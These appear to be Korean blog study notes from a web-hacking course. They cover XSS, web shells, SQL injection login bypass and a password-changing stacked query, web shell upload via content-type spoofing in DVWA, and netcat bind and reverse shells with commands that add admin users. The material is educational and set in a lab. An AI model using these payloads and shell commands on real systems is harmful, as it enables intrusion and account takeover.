웹 해킹 보안 3일차
복습
XSS(cross site scripting)
스크립트를 웹 사이트에 업로드하고, 방문한 웹 브라우저에서 스크립트를 실행하게 되면, 공격자가 원하는 행위가 발생한다.
그래서 웹 브라우저에서 실행한다는 얘기는 웹 브라우저에서 공격한다, 타겟은 웹 브라우저
웹 브라우저가 타겟인데 웹 브라우저를 웹 서버에 올려놓기 때문에
즉, 타겟이 웹 브라우저이지만 직접 공격하는 것이 아니고 웹 서버를 경유해서 공격하는 기법
스크립트를 평문으로 작성하면 악성코드를 유포하는 URL, 악성코드 이름 등이 노출됨.
그래서 공격자들은 스크립트를 난독화를 한다. 그래서 거의 난독화하는 비율이 90%가 넘는다.
난독화
스크립트의 내용을 숨기기 위해서 난독화를 한다. 난독화를 하려면 복잡한 함수와 생소한 인코딩을 적용한다. → 사람은 읽기 어렵지만 웹 브라우저는 읽고 실행가능하다.
그런 상황이라서 난독화된 스크립트를 난독화를 해제해서 악성코드 유포지의 url과 악성코드 이름을 파악해서 방화벽에서 차단하도록 등록한다.
그러면 회사직원들은 악성코드를 다운로드 받지 않을 수 있다.
웹 쉘
: 원래는 관리자가 사용하는 것, 관리자가 ssh나 ftp를 이용하지 않고, 웹 서버를 관리하기 위한 도구, 심지어 웹 브라우저로 웹 서버를 관리하는 도구, 심지어 이게 gui로 설정, 변경이 가능하다. 웹 서버 관리자가 컴맹이어도 관리할 수 있는 그런 정도의 도구
보안의 적은 편리함. 이는 취약하다.공격자들이 웹 쉘을 웹 서버에 업로드해서 원격으로 조종
웹쉘이 웹 서버에 올라가면, 해커는 해당 웹 쉘이 자신의 것이 되기 때문에 악성코드를 심는 등 다양한 활동이 가능해진다.
웹 쉘을 왜 못막는가? (18분)
웹 쉘이 http트래픽인데, http트래픽에 웹 쉘이 첨부돼서 온다. 방화벽에서 막는 것은 아니고,
serever farm: 서버들이 모여 있는 곳,
공격자가 웹 쉘을 올리면, 웹 쉘은 백도어처럼 동작을 하는데, 이렇게 해서 다른 쉘에 접근이 가능하다.
웹 쉘의 확장자 목록
정정당당한 해킹은 없다. 해킹에는 반칙이 없다. 공격하는 애들은 치사한, 남이 해킹 다 해놓은 서버에 숟가락만 얹는 그러한 것들도 많다.
웹 쉘 대응 방법
웹 쉘을 업로드하지 못하게 해야한다.
업로드된 웹 쉘은 동작하지 못하도록 해야 한다. → 압축해서 보관, 읽기만 가능한 스토리지에 보관한다.
찾을 수 없게 경로를 숨긴다. 업로드한 웹 쉘의 위치를 찾을 수 없도록 위치 경로를 알려주지 않거나, 파일 이름을 바꾸는 방법
웹 쉘 보안을 위한 대응 솔루션을 배치
웹 쉘의 content-type은 text/plain이지만, proxy도구(burp suite)를 이용해서 image/ jpeg라고 속인다.
→ 클라이언트가 보내는 정보를 그대로 신뢰하는 경우, 실제로 들어있는 파일은 다른 것(웹쉘)임.
ex) 택배물품을 보내는데, 책이라고 해놓고 안에 폭탄인 경우
Base64를 이용하여 비밀번호를 인코딩하는 경우 → ISMS-P 인증심사에서 결함으로 판단. (안전하지 않음.)
웹 쉘 실습
http://192.168.5.141/uploadfile/browser.jsp?sort=1&dir=C%3A%5CWebApps%5CJspSrc
..을 누르면 상위 디렉토리로 이동
index.jsp 파일이 보이면 여기가 웹 서버 루트
php는 웹 쉘폴더
Deface실습: 웹 사이트의 첫 페이지를 바꾸는 공격
1. https://pixabay.com/ 이미지를 무료로 다운받을 수 있으며, 상업용으로 가능하고 저작권에 제한을 받지 않는다.
2. 해커로 거색한 다음, 적당한 이미지를 다운로드하고 이름은 haker.jpg로 변경 (다른 사진으로 해도 됨)
3.
SQL인젝션 실습
첫 페이지에서만 Login bypass공격이 가능함
ID와 pw를 넣으면 select문이 만들어짐 → DB에 전달됨.
로그인 select문 예상: select id, pw from ???? where id=’ ‘ and pw= ’ ‘;
1단계) id를 알아내려면? webmaster라는 계정이 있음을 알 수 있음.
아이디에다가 webmaster을 넣고, pw에다가 injection을 삽입
SQL인젝션
‘ or 1=1 --
‘ or 2>1 --
‘ or ’a‘=’a‘ --
id부분에 넣어도 된다.
SELECT ID,PW from ???? where id= ‘or 1=1 --’ and pw=’ ‘;
왜 자꾸 superman으로 로그인되는 걸ᄁᆞ?
→ user table의 맨 위에 있는 계정이 superman이기 때문에
→ 정확하게 지정되지 않는 경우에 테이블의 맨 위의 레코드(row)으로 매칭됨,(DB속성)
→ 가장 위에 있는 레코드는 모니터링 용 계정으로 설정해야 한다. ex) admin을 맨 위에 배치 → 실제 권한은 없고 모니터링되는 계정
webmaster 계정으로 반드시 로그인 하려면?
SELECT ID,PW from ???? where id= ‘webmaster’ and 1=1 --’ and pw=’ ‘;
→ true and true는 사족(뱀의 다리, 필요 없다는 의미) → and true는 제거가능
SELECT ID,PW from ???? where id= ‘webmaster’ --’ and pw=’ ‘; //패스워드 부분을 주서처리하는 방법
※ 실제 사이트 공격하면 안됨
Blind SQL Injection
DB구조 등을 모르는 상태에서 sql인젝션을 하는 것
- SQLl문이 거짓이 되도록 만들어서 에러메시지가 발생됨. → DB이름, 테이블 이름, 컬럼 이름 등을 알아내는 것
일부 A부터 Zᄁᆞ지, 0부터 1ᄁᆞ지 대입을 해봄 → 결과가 하나 다른 것이 있다면, 그것이 정답
실습) argo club homepage에
‘ having 1=1 --
→ having을 사용하려면 앞에 group by가 있어야 한다
SELECT ID,PW from ???? where id= ‘having 1=1 --’ and pw=’ ‘;
#말이 안되기 때문에 에러가 발생한다.
http status 500이 나와서 서버 내부에 문제가 있음을 알려준다.
tbl_ → 테이블명
위 정확한 SQL을 예상해보면,
SELECT userid, passwd from tbl_member where userid= ‘ ’ and passwd=’ ‘;
webmaster의 패스워드를 1234로 바꾸려면? 알아내는것보다 바꾸는 것이 더 쉽다.
→ 바꾸러면 update문 사용한다
update 테이블명 set 컬럼=’바꿀 내용‘ where ’바꿀대상‘;
select userid, passwd from tbl_member where userid=’; update tbl_member set passwd=’1234‘ where userid=’webmaster‘; --’ and passwd=’ ‘
#아예 injection코드를 넣어버려서 비밀번호를 바꿀 수 있다.
웹 쉘을 실습하려면 실시간 감시를 꺼야한다.
윈도우 보안 센터에서 위협 감지
DVWA실습(우분투_DVWA를 켜고 웹 브라우저로 접속)
upload메뉴를 클릭
1단계)이미지 업로드: pixabay.com에서 다운로드한 작은 이미지를 업로드 해보기
../../hackable/uploads/flower.jpg succesfully uploaded!
../ 는 한 수준 위로 올라가라는 의미
두 수준 위로 올라가서 (식제) 이미지 경로를 붙여 넣는다.
../../hackable/uploads/flower.jpg
웹 쉘 실행위치를 찾아서 불러오기 연습
2단계) qsd-backdoor.php 파일 업로드 하기 & 웹 쉘 실행ᄁᆞ지
execute shell command에 리눅스 명령을 넣으면 된다.: pwd cat /etc/passwd, ls –l, cat /etc/apache2/apache2.conf
500은 우분투에서 악성 스크립트 차단 중이다.
2. medium
b374k를 업로드하려면? 업로드 안됨...이미지가 아니라고 한다. 어떻게 해야할ᄁᆞ?
→ proxy를 이용해서 어ᄄᅠᆫ 부분을 수정?? plain/ text를 image/jpeg로 수정한다.
업로드는 웹쉘만 있는 것은 아님
직접 실행 파일을 업로드 하는 것: 세션을 직접 연결하는 것 → 원격 조종을 해서 시스템에 영향을 주는 행위
대표적인 도구: RAT(remote access trojan의 줄임말 ) → vimtim에 몰래 업로드하고 원격으로 연결하는 방법
ex) Netcat: 네트워크를 몰래 다니는 고양이라는 의미
고양이가 지나가면 발소리가 안들리듯이, 네트워크를 몰래 다니는 고양이다 라는 의미: nc.exe(윈도우용), nc(리눅스용) 두 개가 서로 문제 없이 통신이 가능하다.
윈도우비번: hp12345
<방법 두 가지>
1) 백도어 방식
공격자가 피해자 호스트에 접근하는데, 피해자 호스트에 백도어 프로그램이 가동 중이다.이 백도어에 공격자가 접근을 한다. 그래서 피해자 호스트에 백도어를 실행한다. (방법: 1. 미리 피해자 서버 해킹(관리자 비번을 알아낸다든지)해서 공격자가 피해자 호스트에 접근해서 연결, ) 이러면 공격자는 클라이언트가 되고, 피해자는 서버가 된다. (우분투를 공격자라고 가정하고 실습한다. ) 서버쪽에서 세팅해야지 접근이 가능하다.
* 윈도우에 작성해야할 것
cmd> cd \
cmd> wine –l –p 8000 –e cmd.exe //원래이름은 nc.exe 인데 이름은 wine.exe로 변경해놓음
시작> 관리도구> 컴퓨터 관리> 로컬 사용자 및 그룹 > 사용자
여기 들어가면 확인할 수 있음.
우분투: 클라이언트: 공격자
* 우분투에 작성해야 할 것
whoami
net user blackpink icecream /add
net user aspea princess /add
net localgroup administrators blackpink /add
상태)
윈도우 2003: 서버-피해자
층> nc –l –p 80000 –e cmd.exe
server: 8000번 포트를 열고 기다림(-l: listening)
vimtim: -e(binary를 제공), cmd.exe의 권한을 넘겨주겠다.
2)reverse방식(trojan horse방식, reverse connection)
- 우분투: 공격자: 서버
윈도우2003: 피해자: 클라이언트
클라이언트 서버 위치가 바뀌어, 공격자가 포트를 열고 기다린다. rat이 서버에 접속을 한다.
왜 이런 방식을 사용하는가? 백도어는 공격자와 피해자 사이에 방화벽이 존재한다. 방화벽이 중간에서 차단을 한다. 실제로는 백도어 근처도 못가고 끊긴다. 그래서 외부에서 포트에 접속을 할 수 없다. 그래서 백도어는 현재 거의 사용되지 않는다. 리버스는 내부망에서 외부망(인터넷)으로 나가는 트래픽을 막지는 않는다. 막으면 인터넷이 안되기 때문에 그래서 rat을 이용해서 내부망에서 외부망으로 연결하는 방식을 사용한다.
< 우분투 세팅 >
$nc –l –p 5678
netcat명령어 -> nc
'보안 > 웹 보안' 카테고리의 다른 글
0914 웹해킹 7일차(Application Security) → 다시 볼 것 (0) | 2022.09.14 |
---|---|
0913 웹해킹 6일차(Application Security) → 다시 볼 것 (1) | 2022.09.13 |
0907 웹해킹 5일차(Application Security) (0) | 2022.09.08 |
0907 웹해킹 4일차(Application Security) → 다시 볼 것 (1) | 2022.09.07 |
0902 웹해킹 1일차(Application Security) → 수정해야 할 것 (0) | 2022.09.05 |